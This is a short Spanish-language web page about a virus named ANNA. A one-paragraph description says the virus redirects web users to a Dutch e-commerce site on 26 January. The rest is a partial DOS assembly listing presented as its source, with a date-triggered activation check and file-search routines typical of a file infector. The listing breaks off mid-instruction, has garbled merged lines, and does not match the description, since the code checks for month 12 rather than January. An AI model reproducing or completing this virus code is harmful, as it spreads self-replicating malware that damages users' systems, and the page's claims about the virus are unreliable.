Virus

VIRUS ANNA

El virus hará que en la fecha 26 de enero, los usuarios que naveguen por la Web sean direccionados a un sitio de e-commerce de Holanda. Se estima que, precisamente, tiene su origen enese país. Como llega encriptado, algunos antivirus no lo detecten fácilmente.

Name ANNA
Page 55,132Title ????

len equ offset marker+5-offset main2
level1len equ offset level1-offset main3
level2len equ offset level2-offset main3

code segmentassume cs:code,ds:code,es:code

org 0100h

main: xor si,si
call level2
call level1
jmp main2
dd0h

main2: call nextline
nextline: pop ax
sub ax,offset nextline
xchg si,ax
call level1
call level2
main3:mov ax,word ptr ds:[oldstart+si]
mov cx,word ptr ds:[oldstart+si+2]
mov ds:[0100h],ax
mov ds:[0102h],cx

getdate: mov ah,2ahint 21h
jnc notexit

lexit: jmp exit

notexit: cmp dh,0ch
jne getdir

jmp activ8

getdir: mov ah,47hmov dl,00h
push si
lea bx,(curdir+si)
mov si,bx
int 21h
jc lexit

pop simov byte ptr ds:[flag+si],00h

setdta: mov ah,1ah
lea dx,(buff+si)
int 21h

findfile: mov ah,4eh
mov cx,00hlea dx,(search1+si)
int 21h
jnc openup

cmp al,12h
jne lexit
jmp next_dir

openup: mov ah,3dh...